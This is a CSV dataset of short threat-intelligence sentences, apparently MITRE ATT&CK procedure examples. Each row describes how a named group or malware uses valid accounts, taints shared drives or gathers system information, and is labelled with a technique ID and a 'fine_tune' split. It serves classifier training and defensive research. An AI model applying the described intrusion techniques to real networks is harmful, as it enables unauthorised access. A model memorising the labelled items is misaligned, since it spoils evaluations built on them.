"Leviathan has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations.",['T1078 - Valid Accounts'],fine_tune
Night Dragon has used compromised VPN accounts to gain access to victim systems.,"['T1078 - Valid Accounts', 'T1133 - External Remote Services']",fine_tune
OilRig has used compromised credentials to access other systems on a victim network.,['T1078 - Valid Accounts'],fine_tune
Operation Wocao has used valid VPN credentials to gain initial access.,['T1078 - Valid Accounts'],fine_tune
POLONIUM has used valid compromised credentials to gain access to victim environments.,['T1078 - Valid Accounts'],fine_tune
PittyTiger attempts to obtain legitimate credentials during operations.,['T1078 - Valid Accounts'],fine_tune
Sandworm Team have used previously acquired legitimate credentials prior to attacks.,['T1078 - Valid Accounts'],fine_tune
Silence has used compromised credentials to log on to other systems and escalate privileges.,['T1078 - Valid Accounts'],fine_tune
Silent Librarian has used compromised credentials to obtain unauthorized access to online accounts.,['T1078 - Valid Accounts'],fine_tune
Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials.,"['T1078 - Valid Accounts', 'T1114.002 - Email Collection: Remote Email Collection']",fine_tune
Suckfly used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.,['T1078 - Valid Accounts'],fine_tune
TEMP.Veles has used compromised VPN accounts.,['T1078 - Valid Accounts'],fine_tune
Threat Group-3390 actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.,['T1078 - Valid Accounts'],fine_tune
"To move laterally on a victim network, FIN6 has used credentials stolen from various systems on which it gathered usernames and password hashes.",['T1078 - Valid Accounts'],fine_tune
UNC2452 used different compromised credentials for remote access and to move laterally.,['T1078 - Valid Accounts'],fine_tune
Wizard Spider has used valid credentials for privileged accounts with the goal of accessing domain controllers.,['T1078 - Valid Accounts'],fine_tune
menuPass has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.,['T1078 - Valid Accounts'],fine_tune
HyperStack can use default credentials to connect to IPC$ shares on remote machines.,['T1078.001 - Valid Accounts: Default Accounts'],fine_tune
Stuxnet infected WinCC machines via a hardcoded database server password.,['T1078.001 - Valid Accounts: Default Accounts'],fine_tune
"APT29 has used valid accounts, including administrator accounts, to help facilitate lateral movement on compromised networks.",['T1078.002 - Domain Accounts'],fine_tune
Chimera has used compromised domain accounts to gain access to the target environment.,['T1078.002 - Domain Accounts'],fine_tune
Cobalt Strike can use known credentials to run commands and spawn processes as a domain user account.,['T1078.002 - Domain Accounts'],fine_tune
CreepySnail can use stolen credentials to authenticate on target networks.,['T1078.002 - Domain Accounts'],fine_tune
"During Night Dragon, threat actors used domain accounts to gain further access to victim systems.",['T1078.002 - Domain Accounts'],fine_tune
"During Operation CuckooBees, the threat actors used compromised domain administrator credentials as part of their lateral movement.",['T1078.002 - Domain Accounts'],fine_tune
"If Shamoon cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.",['T1078.002 - Domain Accounts'],fine_tune
"Indrik Spider has collected credentials from infected systems, including domain accounts.",['T1078.002 - Domain Accounts'],fine_tune
Naikon has used administrator credentials for lateral movement in compromised networks.,['T1078.002 - Domain Accounts'],fine_tune
"Operation Wocao has used domain credentials, including domain admin, for lateral movement and privilege escalation.",['T1078.002 - Domain Accounts'],fine_tune
Sandworm Team has used stolen credentials to access administrative accounts within the domain.,['T1078.002 - Domain Accounts'],fine_tune
Stuxnet attempts to access network resources with a domain account’s credentials.,['T1078.002 - Domain Accounts'],fine_tune
"Threat Group-1314 actors used compromised domain credentials for the victim's endpoint management platform, Altiris, to move laterally.",['T1078.002 - Domain Accounts'],fine_tune
"Wizard Spider has used administrative accounts, including Domain Admin, to move laterally within a victim network.",['T1078.002 - Domain Accounts'],fine_tune
APT29 has used compromised local accounts to access victims' networks.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
APT32 has used legitimate local admin account credentials.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
Cobalt Strike can use known credentials to run commands and spawn processes as a local user account.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
"Emotet can brute force a local admin password, then use it to facilitate lateral movement.",['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
FIN10 has moved laterally using the Local Administrator account.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
Kimsuky has used a tool called GREASE to add a Windows admin account in order to allow them continued access via RDP.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
"NotPetya can use valid credentials with PsExec or ""wmic"" to spread itself to remote systems.",['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
PROMETHIUM has created admin accounts on a compromised host.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
Stolen Pencil has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
Tropic Trooper has used known administrator account credentials to execute the backdoor directly.,['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
APT28 has used compromised Office 365 service accounts with Global Administrator privileges to collect email from user inboxes.,['T1078.004 - Valid Accounts: Cloud Accounts'],fine_tune
APT33 has used compromised Office 365 accounts in tandem with Ruler in an attempt to gain control of endpoints.,['T1078.004 - Valid Accounts: Cloud Accounts'],fine_tune
Ke3chang has used compromised credentials to sign into victims’ Microsoft 365 accounts.,['T1078.004 - Valid Accounts: Cloud Accounts'],fine_tune
Peirates can use stolen service account tokens to perform its operations.,['T1078.004 - Valid Accounts: Cloud Accounts'],fine_tune
ROADTools leverages valid cloud credentials to perform enumeration operations using the internal Azure AD Graph API.,['T1078.004 - Valid Accounts: Cloud Accounts'],fine_tune
BRONZE BUTLER has placed malware on file shares and given it the same name as legitimate documents on the share.,['T1080 - Taint Shared Content'],fine_tune
Conti can spread itself by infecting other remote machines via network shared drives.,['T1080 - Taint Shared Content'],fine_tune
Darkhotel used a virus that propagates by infecting executables stored on shared drives.,['T1080 - Taint Shared Content'],fine_tune
Gamaredon Group has injected malicious macros into all Word and Excel documents on mapped network drives.,['T1080 - Taint Shared Content'],fine_tune
H1N1 has functionality to copy itself to network shares.,['T1080 - Taint Shared Content'],fine_tune
Ramsay can spread itself by infecting other portable executable files on networks shared drives.,['T1080 - Taint Shared Content'],fine_tune
Ursnif has copied itself to and infected files in network drives for propagation.,['T1080 - Taint Shared Content'],fine_tune
4H RAT sends an OS version identifier in its beacons.,['T1082 - System Information Discovery'],fine_tune
A Gamaredon Group file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.,['T1082 - System Information Discovery'],fine_tune
"A module in Prikormka collects information from the victim about Windows OS version, computer name, battery info, and physical memory.",['T1082 - System Information Discovery'],fine_tune
ADVSTORESHELL can run Systeminfo to gather information about the victim.,['T1082 - System Information Discovery'],fine_tune
APT19 collected system architecture information. APT19 used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine.,['T1082 - System Information Discovery'],fine_tune
"APT28 has enumerated installed applications on macOS devices with built-in utilities such as ""ls -al /Applications"".",['T1082 - System Information Discovery'],fine_tune
APT3 has a tool that can obtain information about the local system.,['T1082 - System Information Discovery'],fine_tune
"APT32 has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server. APT32 executed shellcode to identify the name of the infected host.",['T1082 - System Information Discovery'],fine_tune
"APT38 has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs.",['T1082 - System Information Discovery'],fine_tune
"Action RAT has the ability to collect the hostname, OS version, and OS architecture of an infected host.",['T1082 - System Information Discovery'],fine_tune
"Agent Tesla can collect the system's computer name and also has the capability to collect information on the processor, memory, OS, and video card from the system.",['T1082 - System Information Discovery'],fine_tune
Amadey has collected the computer name and OS version from a compromised machine.,['T1082 - System Information Discovery'],fine_tune
Anchor can determine the hostname and linux version on a compromised host.,['T1082 - System Information Discovery'],fine_tune
AppleJeus has collected the victim host information after infection.,['T1082 - System Information Discovery'],fine_tune
Aquatic Panda has used native OS commands to understand privilege levels and system details.,['T1082 - System Information Discovery'],fine_tune
"Aria-body has the ability to identify the hostname, computer name, Windows version, processor speed, machine GUID, and disk information on a compromised host.",['T1082 - System Information Discovery'],fine_tune
Attor monitors the free disk space on the system.,['T1082 - System Information Discovery'],fine_tune
AuTo Stealer has the ability to collect the hostname and OS information from an infected host.,['T1082 - System Information Discovery'],fine_tune
Avenger has the ability to identify the host volume ID and the OS architecture on a compromised host.,['T1082 - System Information Discovery'],fine_tune
"Azorult can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.",['T1082 - System Information Discovery'],fine_tune
BADCALL collects the computer name and host name on the compromised system.,['T1082 - System Information Discovery'],fine_tune
"BISCUIT has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC.",['T1082 - System Information Discovery'],fine_tune
BLUELIGHT has collected the computer name and OS version from victim machines.,['T1082 - System Information Discovery'],fine_tune
"BUBBLEWRAP collects system information, including the operating system version and hostname.",['T1082 - System Information Discovery'],fine_tune
"BabyShark has executed the ""ver"" command.",['T1082 - System Information Discovery'],fine_tune
BackConfig has the ability to gather the victim's computer name.,['T1082 - System Information Discovery'],fine_tune
"BadPatch collects the OS system, OS version, MAC address, and the computer name from the victim’s machine.",['T1082 - System Information Discovery'],fine_tune
Bandook can collect information about the drives available on the system.,['T1082 - System Information Discovery'],fine_tune
Bisonal has used commands and API calls to gather system information.,['T1082 - System Information Discovery'],fine_tune
"Blue Mockingbird has collected hardware details for the victim's system, including CPU and memory information.",['T1082 - System Information Discovery'],fine_tune
"Bonadan has discovered the OS version, CPU model, and RAM size of the system it has been installed on.",['T1082 - System Information Discovery'],fine_tune
"BoomBox can enumerate the hostname, domain, and IP of a compromised host.",['T1082 - System Information Discovery'],fine_tune
Brave Prince collects hard drive content and system configuration information.,['T1082 - System Information Discovery'],fine_tune
Bumblebee can enumerate the OS version and domain on a targeted system.,['T1082 - System Information Discovery'],fine_tune
"Bundlore will enumerate the macOS version to determine which follow-on behaviors to execute using ""/usr/bin/sw_vers -productVersion"".",['T1082 - System Information Discovery'],fine_tune
CARROTBAT has the ability to determine the operating system of the compromised host and whether Windows is being run with x86 or x64 architecture.,['T1082 - System Information Discovery'],fine_tune
"CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.",['T1082 - System Information Discovery'],fine_tune
CaddyWiper can use `DsRoleGetPrimaryDomainInformation` to determine the role of the infected machine. CaddyWiper can also halt execution if the compromised host is identified as a domain controller.,['T1082 - System Information Discovery'],fine_tune
Cadelspy has the ability to discover information about the compromised host.,['T1082 - System Information Discovery'],fine_tune
"Cannon can gather system information from the victim’s machine such as the OS version, machine name, and drive information.",['T1082 - System Information Discovery'],fine_tune
Carberp has collected the operating system version from the infected system.,['T1082 - System Information Discovery'],fine_tune
"Cardinal RAT can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.",['T1082 - System Information Discovery'],fine_tune
"ChChes collects the victim hostname, window resolution, and Microsoft Windows version.",['T1082 - System Information Discovery'],fine_tune
"Chaes has collected system information, including the machine name and OS version.",['T1082 - System Information Discovery'],fine_tune
CharmPower can enumerate the OS version and computer name on a targeted system.,['T1082 - System Information Discovery'],fine_tune
"Chimera has used `fsutil fsinfo drives`, `systeminfo`, and `vssadmin list shadows` for system information including shadow volumes and drive information.",['T1082 - System Information Discovery'],fine_tune
Chrommme has the ability to list drives and obtain the computer name of a compromised host.,['T1082 - System Information Discovery'],fine_tune
"Clambling can discover the hostname, computer name, and Windows version of a targeted machine.",['T1082 - System Information Discovery'],fine_tune
Comnie collects the hostname of the victim machine.,['T1082 - System Information Discovery'],fine_tune
"Confucius has used a file stealer that can examine system drives, including those other than the C drive.",['T1082 - System Information Discovery'],fine_tune
CrackMapExec can enumerate the system drives and associated system name.,['T1082 - System Information Discovery'],fine_tune
"Crimson contains a command to collect the victim PC name, disk drive information, and operating system.",['T1082 - System Information Discovery'],fine_tune
"Cuba can enumerate local drives, disk type, and disk free space.",['T1082 - System Information Discovery'],fine_tune
Cyclops Blink has the ability to query device information.,['T1082 - System Information Discovery'],fine_tune
"DarkComet can collect the computer name, RAM used, and operating system version from the victim’s machine.",['T1082 - System Information Discovery'],fine_tune
"DarkWatchman can collect the OS version, system architecture, uptime, and computer name.",['T1082 - System Information Discovery'],fine_tune
Denis collects OS information and the computer name from the victim’s machine.,['T1082 - System Information Discovery'],fine_tune
"Derusbi gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.",['T1082 - System Information Discovery'],fine_tune
Diavol can collect the computer name and OS version from the system.,['T1082 - System Information Discovery'],fine_tune
"DownPaper collects the victim host name and serial number, and then sends the information to the C2 server.",['T1082 - System Information Discovery'],fine_tune
DropBook has checked for the presence of Arabic language in the infected machine's settings.,"['T1082 - System Information Discovery', 'T1614.001 - System Location Discovery: System Language Discovery']",fine_tune
"Dtrack can collect the victim's computer name, hostname and adapter information to create a unique identifier.",['T1082 - System Information Discovery'],fine_tune
"During FunnyDream, the threat actors used Systeminfo to collect information on targeted hosts.",['T1082 - System Information Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `systeminfo` command to gather details about a compromised system.",['T1082 - System Information Discovery'],fine_tune
"During Operation Wocao, threat actors discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.",['T1082 - System Information Discovery'],fine_tune
DustySky extracts basic information about the operating system.,['T1082 - System Information Discovery'],fine_tune
EVILNUM can obtain the computer name from the victim's system.,['T1082 - System Information Discovery'],fine_tune
Egregor can perform a language check of the infected system and can query the CPU information (cupid).,['T1082 - System Information Discovery'],fine_tune
"Elise executes ""systeminfo"" after initial communication is made to the remote server.",['T1082 - System Information Discovery'],fine_tune
Emissary has the capability to execute ver and systeminfo commands.,['T1082 - System Information Discovery'],fine_tune
"Empire can enumerate host system information like OS, architecture, domain name, applied patches, and more.",['T1082 - System Information Discovery'],fine_tune
EnvyScout can determine whether the ISO payload was received by a Windows or iOS device.,['T1082 - System Information Discovery'],fine_tune
"Epic collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.",['T1082 - System Information Discovery'],fine_tune
Explosive has collected the computer name from the infected host.,['T1082 - System Information Discovery'],fine_tune
"FALLCHILL can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.",['T1082 - System Information Discovery'],fine_tune
"FELIXROOT collects the victim’s computer name, processor architecture, OS version, volume serial number, and system type.",['T1082 - System Information Discovery'],fine_tune
"Ferocious can use ""GET.WORKSPACE"" in Microsoft Excel to determine the OS version of the compromised host.",['T1082 - System Information Discovery'],fine_tune
Final1stspy obtains victim Microsoft Windows version information and CPU architecture.,['T1082 - System Information Discovery'],fine_tune
"GRIFFON has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation .",['T1082 - System Information Discovery'],fine_tune
Gelsemium can determine the operating system and whether a targeted machine has a 32 or 64 bit architecture.,['T1082 - System Information Discovery'],fine_tune
"Gold Dragon collects endpoint information using the ""systeminfo"" command.",['T1082 - System Information Discovery'],fine_tune
"GravityRAT collects the MAC address, computer name, and CPU information.",['T1082 - System Information Discovery'],fine_tune
"Green Lambert can use `uname` to identify the operating system name, version, and processor type.",['T1082 - System Information Discovery'],fine_tune
"GrimAgent can collect the OS, and build version on a compromised host.",['T1082 - System Information Discovery'],fine_tune
"HAWKBALL can collect the OS version, architecture information, and computer name.",['T1082 - System Information Discovery'],fine_tune
HELLOKITTY can enumerate logical drives on a target system.,['T1082 - System Information Discovery'],fine_tune
HEXANE has collected the hostname of a compromised machine.,['T1082 - System Information Discovery'],fine_tune
"HermeticWiper can determine the OS version, bitness, and enumerate physical drives on a targeted host.",['T1082 - System Information Discovery'],fine_tune
Heyoka Backdoor can enumerate drives on a compromised host.,['T1082 - System Information Discovery'],fine_tune
"Higaisa collected the system volume serial number, GUID, and computer name.",['T1082 - System Information Discovery'],fine_tune
"Hildegard has collected the host's OS, CPU, and memory information.",['T1082 - System Information Discovery'],fine_tune
"HotCroissant has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host.",['T1082 - System Information Discovery'],fine_tune
"Hydraq creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.",['T1082 - System Information Discovery'],fine_tune
IcedID has the ability to identify the computer name and OS version on a compromised host.,['T1082 - System Information Discovery'],fine_tune
Inception has used a reconnaissance module to gather information about the operating system and hardware on the infected host.,['T1082 - System Information Discovery'],fine_tune
Industroyer collects the victim machine’s Windows GUID.,['T1082 - System Information Discovery'],fine_tune
InnaputRAT gathers volume drive information and system information.,['T1082 - System Information Discovery'],fine_tune
Ixeshe collects the computer name of the victim's system during the initial infection.,['T1082 - System Information Discovery'],fine_tune
JPIN can obtain system information such as OS version and disk space.,['T1082 - System Information Discovery'],fine_tune
KARAE can collect system information.,['T1082 - System Information Discovery'],fine_tune
KGH_SPY can collect drive information from a compromised host.,['T1082 - System Information Discovery'],fine_tune
KOMPROGO is capable of retrieving information about the infected system.,['T1082 - System Information Discovery'],fine_tune
"KONNI can gather the OS version, architecture information, connected drives, hostname, RAM size, and disk space information from the victim’s machine and has used ""cmd /c systeminfo"" command to get a snapshot of the current system state of the target machine.",['T1082 - System Information Discovery'],fine_tune
Kasidet has the ability to obtain a victim's system name and operating system version.,['T1082 - System Information Discovery'],fine_tune
Kazuar gathers information on the system and local drives.,['T1082 - System Information Discovery'],fine_tune
"Ke3chang performs operating system information discovery using ""systeminfo"" and has used implants to identify the system language and computer name.",['T1082 - System Information Discovery'],fine_tune
"Kessel has collected the system architecture, OS version, and MAC address information.",['T1082 - System Information Discovery'],fine_tune
Kevin can enumerate the OS version and hostname of a targeted machine.,['T1082 - System Information Discovery'],fine_tune
"KeyBoy can gather extended system information, such as information about the operating system, disks, and memory.",['T1082 - System Information Discovery'],fine_tune
"KillDisk retrieves the hard disk name by calling the ""CreateFileA to \\.\PHYSICALDRIVE0"" API.",['T1082 - System Information Discovery'],fine_tune
"Kimsuky has enumerated drives, OS type, OS version, and other information using a script or the ""systeminfo"" command.",['T1082 - System Information Discovery'],fine_tune
"Koadic can obtain the OS version and build, computer name, and processor architecture from a compromised host.",['T1082 - System Information Discovery'],fine_tune
Kobalos can record the hostname and kernel version of the target machine.,['T1082 - System Information Discovery'],fine_tune
"Kwampirs collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands ""systeminfo"", ""net config workstation"", ""hostname"", ""ver"", ""set"", and ""date /t"".",['T1082 - System Information Discovery'],fine_tune
Linfo creates a backdoor through which remote attackers can retrieve system information.,['T1082 - System Information Discovery'],fine_tune
LitePower has the ability to list local drives and enumerate the OS architecture.,['T1082 - System Information Discovery'],fine_tune
"Lizar can collect the computer name from the machine,.",['T1082 - System Information Discovery'],fine_tune
Lokibot has the ability to discover the computer name and Windows product name/version.,['T1082 - System Information Discovery'],fine_tune
LoudMiner has monitored CPU usage.,['T1082 - System Information Discovery'],fine_tune
"MacMa can collect information about a compromised computer, including: Hardware UUID, Mac serial number, macOS version, and disk sizes.",['T1082 - System Information Discovery'],fine_tune
"Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.",['T1082 - System Information Discovery'],fine_tune
MarkiRAT can obtain the computer name from a compromised host.,['T1082 - System Information Discovery'],fine_tune
Metamorfo has collected the hostname and operating system version from the compromised host.,['T1082 - System Information Discovery'],fine_tune
Meteor has the ability to discover the hostname of a compromised host.,['T1082 - System Information Discovery'],fine_tune
Milan can enumerate the targeted machine's name and GUID.,['T1082 - System Information Discovery'],fine_tune
MiniDuke can gather the hostname on a compromised machine.,['T1082 - System Information Discovery'],fine_tune
"MobileOrder has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.",['T1082 - System Information Discovery'],fine_tune
Mongall can identify drives on compromised hosts and retrieve the hostname via `gethostbyname`.,['T1082 - System Information Discovery'],fine_tune
"MoonWind can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.",['T1082 - System Information Discovery'],fine_tune
More_eggs has the capability to gather the OS version and computer name.,['T1082 - System Information Discovery'],fine_tune
MuddyWater has used malware that can collect the victim’s OS version and machine name.,['T1082 - System Information Discovery'],fine_tune
"Mustang Panda has gathered system information using ""systeminfo"".",['T1082 - System Information Discovery'],fine_tune
NETWIRE can discover and collect victim system information.,['T1082 - System Information Discovery'],fine_tune
Naid collects a unique identifier (UID) from a compromised host.,['T1082 - System Information Discovery'],fine_tune
"Nebulae can discover logical drive information including the drive type, free space, and volume information.",['T1082 - System Information Discovery'],fine_tune
Netwalker can determine the system architecture it is running on to choose which version of the DLL to use.,['T1082 - System Information Discovery'],fine_tune
OSInfo discovers information about the infected machine.,['T1082 - System Information Discovery'],fine_tune
OceanSalt can collect the computer name from the system.,['T1082 - System Information Discovery'],fine_tune
"OilRig has run ""hostname"" and ""systeminfo"" on a victim.",['T1082 - System Information Discovery'],fine_tune
"Okrum can collect computer name, locale information, and information about the OS and architecture.",['T1082 - System Information Discovery'],fine_tune
Orz can gather the victim OS version and whether it is 64 or 32 bit.,['T1082 - System Information Discovery'],fine_tune
POWERSTATS can retrieve OS name/architecture and computer/domain name information from compromised hosts.,['T1082 - System Information Discovery'],fine_tune
PUNCHBUGGY can gather system information such as computer names.,['T1082 - System Information Discovery'],fine_tune
Pasam creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.,['T1082 - System Information Discovery'],fine_tune
"Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. Patchwork also enumerated all available drives on the victim's machine.",['T1082 - System Information Discovery'],fine_tune
Penquin can report the file system type and disk space of a compromised host to C2.,['T1082 - System Information Discovery'],fine_tune
PipeMon can collect and send OS version and computer name as a part of its C2 beacon.,['T1082 - System Information Discovery'],fine_tune
PoetRAT has the ability to gather information about the compromised host.,['T1082 - System Information Discovery'],fine_tune
"Pony has collected the Service Pack, language, and region information to send to the C2.",['T1082 - System Information Discovery'],fine_tune
"PoshC2 contains modules, such as ""Get-ComputerInfo"", for enumerating common system information.",['T1082 - System Information Discovery'],fine_tune
PowerShower has collected system information on the infected host.,['T1082 - System Information Discovery'],fine_tune
"Proxysvc collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.",['T1082 - System Information Discovery'],fine_tune
QakBot can collect system information including the OS version and domain on a compromised host.,['T1082 - System Information Discovery'],fine_tune
QuasarRAT can gather system information from the victim’s machine including the OS type.,['T1082 - System Information Discovery'],fine_tune
"RATANKBA gathers information about the OS architecture, OS name, and OS version/Service pack.",['T1082 - System Information Discovery'],fine_tune
"REvil can identify the username, machine name, system language, keyboard layout, OS version, and system drive information on a compromised host.",['T1082 - System Information Discovery'],fine_tune
ROKRAT can gather the hostname and the OS version to ensure it doesn’t run on a Windows XP or Windows Server 2003 systems.,['T1082 - System Information Discovery'],fine_tune
"RTM can obtain the computer name, OS version, and default language identifier.",['T1082 - System Information Discovery'],fine_tune
"Ramsay can detect system information--including disk names, total space, and remaining space--to create a hardware profile GUID which acts as a system identifier for operators.",['T1082 - System Information Discovery'],fine_tune
"Reaver collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.",['T1082 - System Information Discovery'],fine_tune
"RedLeaves can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.",['T1082 - System Information Discovery'],fine_tune
"Remsec can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.",['T1082 - System Information Discovery'],fine_tune
"Revenge RAT collects the CPU information, OS information, and system language.",['T1082 - System Information Discovery'],fine_tune
Rifdoor has the ability to identify the Windows version on the compromised host.,['T1082 - System Information Discovery'],fine_tune
"Rising Sun can detect the computer name, operating system, and drive information, including drive type, total number of bytes on disk, total number of free bytes on disk, and name of a specified volume.",['T1082 - System Information Discovery'],fine_tune
Rocke has used uname -m to collect the name and information about the infected system's kernel.,['T1082 - System Information Discovery'],fine_tune
"RogueRobin gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.",['T1082 - System Information Discovery'],fine_tune
"RunningRAT gathers the OS version, logical drives information, processor information, and volume information.",['T1082 - System Information Discovery'],fine_tune
"Ryuk has called ""GetLogicalDrives"" to emumerate all mounted drives, and ""GetDriveTypeW"" to determine the drive type.",['T1082 - System Information Discovery'],fine_tune
"SDBbot has the ability to identify the OS version, OS bit information and computer name.",['T1082 - System Information Discovery'],fine_tune
"SHARPSTATS has the ability to identify the IP address, machine name, and OS of the compromised host.",['T1082 - System Information Discovery'],fine_tune
"SILENTTRINITY can collect information related to a compromised host, including OS version and a list of drives.",['T1082 - System Information Discovery'],fine_tune
SLOWDRIFT collects and sends system information to its C2.,['T1082 - System Information Discovery'],fine_tune
"SMOKEDHAM has used the ""systeminfo"" command on a compromised host.",['T1082 - System Information Discovery'],fine_tune
SOUNDBITE is capable of gathering system information.,['T1082 - System Information Discovery'],fine_tune
STARWHALE can gather the computer name of an infected host.,['T1082 - System Information Discovery'],fine_tune
"SUNBURST collected hostname, OS version, and device uptime.",['T1082 - System Information Discovery'],fine_tune
SYSCON has the ability to use Systeminfo to identify system information.,['T1082 - System Information Discovery'],fine_tune
"Saint Bot can identify the OS version, CPU, and other details from a victim's machine.",['T1082 - System Information Discovery'],fine_tune
Sandworm Team used a backdoor to enumerate information about the infected system's operating system.,['T1082 - System Information Discovery'],fine_tune
ServHelper will attempt to enumerate Windows version and system architecture.,['T1082 - System Information Discovery'],fine_tune
"Several Lazarus Group malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by Lazarus Group also collects disk space information and sends it to its C2 server.",['T1082 - System Information Discovery'],fine_tune
"ShadowPad has discovered system information including memory status, CPU frequency, OS versions, and volume serial numbers.",['T1082 - System Information Discovery'],fine_tune
SideTwist can collect the computer name of a targeted system.,['T1082 - System Information Discovery'],fine_tune
Skidmap has the ability to check whether the infected system’s OS is Debian or RHEL/CentOS to determine which cryptocurrency miner it should use.,['T1082 - System Information Discovery'],fine_tune
SodaMaster can enumerate the host name and OS version on a target system.,['T1082 - System Information Discovery'],fine_tune
"SombRAT can execute ""getinfo"" to enumerate the computer name and OS version of a compromised system.",['T1082 - System Information Discovery'],fine_tune
"SoreFang can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing Systeminfo.",['T1082 - System Information Discovery'],fine_tune
Sowbug obtained OS version and hardware configuration from a victim.,['T1082 - System Information Discovery'],fine_tune
"Spark can collect the hostname, keyboard layout, and language from the system.",['T1082 - System Information Discovery'],fine_tune
Squirrelwaffle has gathered victim computer information and configurations.,['T1082 - System Information Discovery'],fine_tune
"Stealth Falcon malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.",['T1082 - System Information Discovery'],fine_tune
"StoneDrill has the capability to discover the system OS, Windows version, architecture and environment.",['T1082 - System Information Discovery'],fine_tune
StreamEx has the ability to enumerate system information.,['T1082 - System Information Discovery'],fine_tune
"StrifeWater can collect the OS version, architecture, and machine name to create a unique token for the infected host.",['T1082 - System Information Discovery'],fine_tune
StrongPity can identify the hard disk volume serial number on a compromised host.,['T1082 - System Information Discovery'],fine_tune
SysUpdate can determine whether a system has a 32 bit or 64 bit architecture.,['T1082 - System Information Discovery'],fine_tune
Systeminfo can be used to gather information about the operating system.,['T1082 - System Information Discovery'],fine_tune
"TeamTNT has searched for system version, architecture, disk partition, logical volume, and hostname information.",['T1082 - System Information Discovery'],fine_tune
The IceApple Server Variable Dumper module iterates over all server variables present for the current request and returns them to the adversary.,['T1082 - System Information Discovery'],fine_tune
The initial beacon packet for Mis-Type contains the operating system version and file system of the victim.,['T1082 - System Information Discovery'],fine_tune
The initial beacon packet for Misdat contains the operating system version of the victim.,['T1082 - System Information Discovery'],fine_tune
The initial beacon packet for S-Type contains the operating system version and file system of the victim.,['T1082 - System Information Discovery'],fine_tune
ThreatNeedle can collect system profile information from a compromised host.,['T1082 - System Information Discovery'],fine_tune
"Trojan.Karagany can capture information regarding the victim's OS, security, and hardware configuration.",['T1082 - System Information Discovery'],fine_tune
Tropic Trooper has detected a target system’s OS version and system volume information.,['T1082 - System Information Discovery'],fine_tune
Tropic Trooper has detected a target system’s OS version.,['T1082 - System Information Discovery'],fine_tune
"Turla surveys a system upon check-in to discover operating system configuration details using the ""systeminfo"" and ""set"" commands.",['T1082 - System Information Discovery'],fine_tune
UPPERCUT has the capability to gather the system’s hostname and OS version.,['T1082 - System Information Discovery'],fine_tune
Ursnif has used Systeminfo to gather system information.,['T1082 - System Information Discovery'],fine_tune
"VERMIN collects the OS name, machine name, and architecture information.",['T1082 - System Information Discovery'],fine_tune
Valak can determine the Windows version and computer name on a compromised host.,['T1082 - System Information Discovery'],fine_tune
"Volgmer can gather system information, the computer name, OS version, drive and serial information from the victim's machine.",['T1082 - System Information Discovery'],fine_tune
WINDSHIELD can gather the victim computer name.,['T1082 - System Information Discovery'],fine_tune
WINERACK can gather information about the host.,['T1082 - System Information Discovery'],fine_tune
WellMess can identify the computer name of a compromised host.,['T1082 - System Information Discovery'],fine_tune
WhisperGate has the ability to enumerate fixed logical drives on a targeted system.,['T1082 - System Information Discovery'],fine_tune
"WinMM collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.",['T1082 - System Information Discovery'],fine_tune
Windigo has used a script to detect which Linux distribution and version is currently installed on the system.,['T1082 - System Information Discovery'],fine_tune
Windshift has used malware to identify the computer name of a compromised host.,['T1082 - System Information Discovery'],fine_tune
Wingbird checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.,['T1082 - System Information Discovery'],fine_tune
